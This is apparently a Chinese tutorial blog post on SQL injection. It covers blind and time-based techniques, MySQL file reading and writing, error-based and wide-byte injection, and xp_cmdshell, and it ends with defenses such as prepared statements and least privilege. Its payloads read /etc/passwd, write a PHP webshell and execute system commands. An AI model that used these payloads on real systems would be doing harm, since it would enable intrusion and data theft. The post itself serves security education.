对于注入攻击,一个最基础的安全设计原则就是“数据与代码分离”。带着这个思想去学习,可能会理解地更透彻。
注入攻击的本质就是把用户输入的数据当作代码去执行了。所以其中有两个关键的条件:一是用户可以控制输入;二是原本程序要执行的代码拼接了用户输入的数据。
对于sql注入的分类,简单来看就是分为数字型和字符型。因为对数据库进行数据查询时,输入数据一般只有两种:一种是数字类型。比如where id=1
、where age>20
,另外是一个字符串类型,比如where name='root'
、where datetime > '2013-08-18'
。
严格地说,数字也是字符串,在数据库中进行数据查询时,where id = '1'
也是合法的,只不过在查询条件为数字时一般不会加单引号。
当然也有很多其他的叫法进行分类,比如POST注入指注入字段在POST数据中,延时注入指使用数据库延时特性注入等等。下面提几个常说的:
盲注
所谓“盲注”,就是在服务器没有错误回显时完成的注入攻击(当然也有说法是页面无差异的注入,也就是无论参数项后面加什么语句都不会有变化,这时候就得考虑基于时间的盲注了)。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到执行。
最常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。
比如,一个应用的URL如下:
http://newspaper.com/items.php?id=2
执行的SQL语句为:
select title , description , body from items where id = 2
如果攻击者构造如下的条件语句:
http://newspaper.com/items.php?id=2 and 1=2
实际执行的SQL语句就会变成:
select title , description , body from items where id = 2 and 1 = 2
因为and 1 = 2
是一个假命题,所以Web应用不会将结果返回给用户,攻击者看到的页面结果将为空或者是一个出错的页面。
为了进一步确认注入是否存在,攻击者还必须再次验证这个过程。因为一些处理逻辑或安全功能,在攻击者构造异常请求时,也可能会导致页面返回不正常。攻击者继续构造如下请求:
http://newspaper.com/items.php?id=2 and 1=1
如果此时页面返回正常了,则说明注入的SQL语句的确执行了,也就是id
参数存在SQL注入漏洞了。
Timing Attack
有时候,上面提到的and 1 = 2
无法看出异常,那么可以尝试用Timing Attack。
在MySQL中,有一个BENCHMARK()
函数,它是用于测试函数性能的。
BENCKMARK(count,expr)
函数执行的结果,是将表达式expr
执行count
次。比如:
因此,利用BENCHMARK()
函数,可以让同一个函数执行若干次,是的结果返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack。
那么我们可以构造攻击的参数id
为:
1170 UNION SELECT IF (SUBSTRING(current,1,1) = CHAR(119) , BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (SELECT Database() as current) as tbl;
类似的,可以通过以下函数获取其他信息:
database() - the name of the database currently connected to.
system_user() - the system user for the database.
current_user() - the current user who is logged in to the database.
last_insert_id() - the transaction ID of the last insert operation on the database.
如果当前数据库用户current_user
具有写权限,那么攻击者还可以将信息写入本地磁盘中。比如写入Wen目录中,攻击者就有可能下载这些文件:
1170 UNION ALL SELECT table_name,table_type,engine FROM information_schema.tables WHERE table_schema = 'mysql' ORDER BY table_name DESC INTO OUTFILE '/path/location/on/server/www/schema.txt'
此外,通过Dump文件的方法,还可以写入一个webshell:
1170 UNION SELECT " system($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --
攻击者对数据库注入,无非是利用数据库获取更多的数据或者更大的权限,那么利用方式可以归为以下几大类:
1.查询数据
2.读写文件
3.执行命令
下面基于MySQL来谈谈数据库注入的逻辑。
MySQL
1.MySQL中的注释
MySQL中的注释有三种:
#
注释从#字符到行尾;
--
注释从该字符到行尾,但是后面需要跟上一个或多个空格(空格、tag都可以);
/* */
注释从/序列到后面的/序列中间的字符。
其中,/* */
有一个特点:
可以看到
/*!*/
是有特殊含义的。在上面的语句中表示:若MySQL大的版本高于或者等于5,语句将会被执行,如果!
后面不加入版本号,MySQL将会直接执行SQL语句。
2.获取元数据
MySQL5.0及以上版本提供了信息数据库INFORMATION_SCHEMA
,它提供了访问数据库元数据的方式。
如:查询用户数据库名称:
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1;
其查询来源是INFORMATION_SCHEMA
数据库中的INFORMATION_SCHEMA.SCHEMATA
表:
查询当前使用的数据库中有哪些表:
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = (select DATABASE());
其查询来源是INFORMATION_SCHEMA.TABLES
表,TABLE_SCHEMA
是数据库名,TABLE_NAME
是表名:
查询指定表的所有字段:
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='security' and TABLE_NAME='users';
其查询来源是INFORMATION_SCHEMA.COLUMNS
表,其中TABLE_SCHEMA
是指数据库名,TABLE_NAME
是指表名,COLUMN_NAME
是指列名。
3.UNION查询
这一块就不多讲了,常用于在知道列数后寻找回显位置,或者执行多语句时候使用。
但是上述语句在SQL SERVER和ORACLE中会报错,原因是数据类型不匹配。在这两种数据库中,如果列的数据类型不确定,最好使用NULL关键字匹配。
补充:ORACLE中的联合查询需要多一个from dual:
select id,username,password from users where id=1 union select 1,2,3 from dual;
4.MySQL函数利用
4.1 load_file()
函数读文件操作
要求文件的位置必须在服务器上,文件必须为全路径名称(绝对路径),而且用户必须持有FILE权限,文件容量也必须小于max_allowed_packet(默认为16MB,最大为1GB)。
union select 1,load_file('/etc/passwd'),3,4,5,6 #
如果有单引号过滤,可使用:
union select 1,2load_file(0x2F6574632F706173737764),3,4,5,6 #
其中0x2F6574632F706173737764
是/etc/passwd
的16进制转换结果;或者:
union select 1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6 #
在浏览器返回数据时,有可能存在乱码问题,那么可以使用hex()
函数将字符串转换为十六进制数据:
select hex(load_file(char(99,58,92,49,46,116,120,116)));
如:
4.2 into outfile
写文件操作
要求仍然是必须持有FILE权限,并且文件必须为全路径名称。如:
select '' into outfile 'c:\wwwroot\1.php';
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php';
如果要将文件读出后,再返回结果给攻击者,则可以使用下面这个技巧:
CREATE TABLE potatoes(line BLOB)
UNION SELECT 1,1,HEX(LOAD_FILE('/ext/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';
LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes
上面要求要创建表的权限。INTO DUMPFILE
和INTO OUTFILE
的区别是:DUMPFILE适用于二进制文件,它会将目标文件写入同一行内;而OUTFILE则更适用于文本文件。
4.3 连接字符串
在MySQL查询中,如果需要一次查询多个数据,可以使用concat()
或concat_ws()
函数来完成:
当然还有很多其他函数以及使用函数需要的权限。具体详见《Web安全深度剖析》p78.
5.MySQL显错式注入
SQL Server中将字符串转换为int类型会报错,就可以利用如下语句根据回显爆出数据库版本(如果有回显的话):
select convert(int,(select @@version));
但是在MySQL中这样子是行不通的,需要使用MySQL中的一些特性提取错误消息。
5.1通过updatexml()
函数进行报错:
updatexml(XML_document,XPath_string,new_value)
这个函数的作用是在XML_document
文件中根据XPath_string
寻找值,并将找到的替换为new_value
,那么报错原理就是提供非法的XPath_string
:
select * from users where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
5.2通过extractvalue()
函数进行报错:
extractvalue(XML_document,XPath_string)
这个函数的作用是在XML_document
中查找满足XPath_string
格式的字符串。报错原理仍然是提供非法的XPath_string
:
5.3通过floor()
函数进行报错:
可以参考我的另一篇博客:https://www.cnblogs.com/wzy-ustc/p/14217750.html
6.宽字节注入
一般出现在PHP+MySQL中,出现的原因是编码不统一。下面的分析是基于MySQL使用了GBK编码这种宽字符集。
在PHP配置文件php.ini中存在magic_quotes_gpc
选项,被称为魔术引号,当此选项被打开时,使用GET、POST、Cookie所接收到的单引号'
、双引号"
、反斜线\
和NULL
字符都会被自动加上一个反斜线转义。
那么输入的'
就会变为\'
,而MySQL认为\'
是一个字符,所以无法闭合之前的'
从而达到注入的效果。但是如果输入的是0xbf'
,即0xbf27
,单引号被转义后变为0xbf5c27
(0x5c=\
),而0xbf5c
被MySQL解析为一个字符,转义字符\
就被绕过了,单引号'
成功闭合了。
要解决这种问题,需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置为UTF-8是一个很好的方法。
基于字符集的攻击并不局限于SQL注入,凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时,由于浏览器与服务器返回的字符编码不同,也可能会存在字符集攻击。解决方法就是在HTML页面的标签中指定当前页面的charset。
7.MySQL长字符截断
在MySQL中的一个设置里有一个sql_mode
选项,当sql_mode
设置为default
时,即没有开启STRICT_ALL_TABLES
选项时(MySQLsql_mode
默认即为default
),MySQL对插入超长的值只会提示warning,而不是error,这样就可能会导致一些截断问题。
比如新建的表结构如下:
CREATE TABLE USERS(
id int(11) NOT NULL,
username varchar(7) NOT NULL,
password varchar(12) NOT NULL
正常的插入如下:
insert into users(id,username,password) values(1,'admin','admin');
下面两则插入只会警告而不会报错:
//'admin '右边有3个空格,长度为8
insert into users(id,username,password) values(1,'admin ','admin');
//在上面的基础上再加个x
insert into users(id,username,password) values(1,'admin x','admin');
这时数据库中有三个叫admin
的用户,只不过后面两个的长度为7。也就是在默认情况下,如果数据超出列默认长度,MySQL会将其截断。但是在查询username='admin'
的时候,三个用户都会被查询出来。对应的攻击方法为:假设管理员登陆的用户名为admin,那么攻击者仅需要注册一个"admin "用户即可轻易进入后台管理页面,像著名的WordPress就被这样的方式攻击过。
8.UDF提权
参考https://www.jianshu.com/p/a00dd5240738
9.攻击存储过程
存储过程参考:https://www.runoob.com/w3cnote/mysql-stored-procedure.html
首先应当明确,存储过程是否防止SQL注入,要看参数是如何传递的。参数化才是防止SQL注入的关键,而不是存储过程。
存储过程其实和UDF是很相似的,但存储过程必须使用CALL或者EXECUTE来执行。所以在某种意义上,存储过程将为攻击者提供很大的便利。
比如,在MS SQL Server中,存储过程xp_cmdshell
可以用来执行系统命令:
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping '
xp_cmdshell
在SQL Server 2000中默认是开启的,但在SQL Server 2005及以后版本中则默认被禁止了。但是如果当前数据库用户拥有sysadmin
权限,则可以使用sp_configure
(SQL Server 2005与SQL Server 2008)重新开启它;如果在SQL Server 2000中禁用了xp_cmdshell
,则可以使用sp_addextendedproc
开启它:
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
除了xp_cmdshell
外,还有一些其他的存储过程对攻击过程也是有帮助的,在此就不一一列举了。
除了利用存储过程直接攻击外,存储过程本身也可能会存在注入漏洞。我们看下面这个PL/SQL的例子:
procedure get_item(
itm_cv IN OUT ItmCurTyp,
usr in varchar2,
itm in varchar2)
is open itm_cv for ' SELECT * FROM items WHERE ' ||
' owner = ''' || usr ||
' AND itemname = ''' || itm || '''';
end get_item;
在这个存储过程中,变量usr
和itemname
都是由外部传入的,且未经过任何处理,将直接造成SQL注入问题。在Oracle数据库中,由于内置的存储过程非常多,很多存储过程都可能存在SQL注入问题,需要特别引起注意。
正确地防御SQL注入
黑名单的方法是难以解决SQL注入的问题的。比如:
$sql="SELECT id ,name,mail,cv,blog,twitter FROM register WHERE id=".mysql_real_escape_string($_GET['id']);
其中mysql_real_escape_string()
函数仅仅会转义'
、"
、\r
、\n
、NULL
、Control-Z
,那么我们可以构造如下payload:
http://vuln.example.com/user.php?id=12,AND,1=0,union,select,1,concat(user,0x3a,passwod),3,4,5,6,from,mysql.user,where,user=substring_index(current_user(),char(64),1)
还可以通过注释符或者括号绕过空格:
SELECT/**/passwd/**/from/**/user/**/
SELECT(passwd)from(user)
使用16进制绕过括号和引号等,其中0x61646D696E
是字符串admin的十六进制编码:
SELECT passwd from users where user=0x61646D696E
而在SQl保留字中,像HAVING
、ORDER BY
等都可能出现在自然语言中,用户提交的正常数据可能也会有这些单词,从而造成误杀,因此不能轻易过滤。
所以,正确的防御方法如下。
1.使用预编译语句
一般来说,防御SQl注入的最佳方式,就是使用预编译语句,绑定变量。比如在Java中使用预编译的SQL语句:
String custname=request.getParameter("customerName");
String query="SELECT account_balance FROM user_data WHERE user_name= ? ";
PreparedStatement pstmt = =connection.prepareStatement(query);
pstmt.setString(1,custname);
ResultSet results=pstmt.executeQuery();
使用预编译的SQL语句,SQL语句的语义不会发生改变。在SQL语句中,变量用?表示,攻击者无法改变SQL的结构,在上面的例子中,即使攻击者插入类似于tom' or '1'='1
的字符串,也只会将此字符串当作username来查询。
下面是在PHP中绑定变量的实例:
$query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
$stmt=$myspli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1='Stuttgart';
$val2='DEU';
$val3='Baden-Wuerttemberg';
/* Execute the statement */
$stmt->execute();
在不同的语言中,都有着使用预编译语句的方法。
2.使用存储过程
除了使用预编译语句外,还可以使用安全的存储过程。其与预编译语句的区别是存储过程需要先将SQL语句定义在数据库中。但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的SQL语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。
下面是一个在Java中调用存储过程的例子,其中sp_getAccountBalance
是预先在数据库中定义好的存储过程:
String custname = request.getParameter("customerName");
try{
CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
cs.setString(1,custname);
ResultSet results = cs.executeQuery();
// ... result set handling
} catch (SQLException se) {
// ... logging and error handling
}
但是有的时候,可能无法使用预编译语句或存储过程,该怎么办?这时候只能再次回到输入过滤和编码等方法上来。
3.检查数据类型
比如下面这段代码,就限制了输入数据的类型只能为interger,在这种情况下,也是无法注入成功的。
数据类型的检查并非万能,如果需求就是需要用户提交字符串,比如一段短文,则需要依赖其他的方法防范SQL注入。
4.使用安全函数
一般来说,各种Web语言都实现了一些编码函数,可以帮助对抗SQL注入。
同时,可以参考OWASP ESAPI中的实现:
ESAPI.encoder().encodeForSQL(new OracleCodec(),queryparam);
在使用时:
Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM user_data WHERE user_name = ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("userID")) + " ' and user_passwd= ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("pwd")) + " ' ";
在最后,从数据库自身的角度来说,应该使用最小权限原则,避免Web应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一数据库,则也应该为每个应用分配不同的账户。Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。
二次注入攻击
最后补充一下二次注入攻击。以PHP为例,PHP在开启magic_quotes_gpc
后,将会对特殊字符转义,比如将'
转义为\'
。对于如下SQL语句:
$sql = "insert into users (id,username,password) values (20,'$title','$content')";
如果插入的title为secbug'
、content为secbug.org
,那么SQL语句如下:
insert into users (id,username,password) values (20,'secbug\'','secbug.org');
单引号的确是成功转义了,但是secbug\'
在插入数据库中以后却没有\
:
这时候如果再有一处查询为:
select id,username,password from users where username='$username';
这时候单引号就成功闭合了,形成了SQL注入漏洞。
参考书籍:
《白帽子讲Web安全》
《Web安全深度剖析》